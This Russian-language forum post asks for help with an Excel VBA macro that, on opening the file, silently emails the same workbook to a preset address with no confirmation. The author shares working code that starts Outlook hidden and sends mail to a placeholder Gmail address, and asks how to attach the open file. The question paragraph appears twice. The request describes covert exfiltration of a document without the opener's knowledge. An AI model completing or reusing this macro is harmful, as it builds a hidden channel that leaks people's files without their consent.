Здравствуйте.
При открытии файла нужно скрыто (без подтверждений на отправку) отправить на заданную электронную почту этот же файл.
На сайте нашел два кода которые совместил.
Он шлет лист по указаному адресу и без подтверждений но лист приходит пустой без файла. Что нужно прописать для прикрепление к листу файла который открыт.
При открытии файла нужно скрыто (без подтверждений на отправку) отправить на заданную электронную почту этот же файл.
На сайте нашел два кода которые совместил.
Он шлет лист по указаному адресу и без подтверждений но лист приходит пустой без файла. Что нужно прописать для прикрепление к листу файла который открыт.
| Код |
|---|
Sub SendMail()
Dim OutApp As Object
Dim OutMail As Object
Dim cell As Range
Application.ScreenUpdating = False
Set OutApp = CreateObject("Outlook.Application") 'запускаем Outlook в скрытом режиме
OutApp.Session.Logon
On Error GoTo cleanup 'если не запустился - выходим
Set OutMail = OutApp.CreateItem(0) 'создаем новое сообщение
On Error Resume Next
'заполняем поля сообщения
With OutMail
.To = "3333333333@gmail.com" 'Кому
.Subject = "Курс валют" 'Тема письма
'команду Send можно заменить на Display, чтобы посмотреть сообщение перед отправкой
.Send
End With
On Error GoTo 0
Set OutMail = Nothing
cleanup:
Set OutApp = Nothing
Application.ScreenUpdating = True
End Sub
|
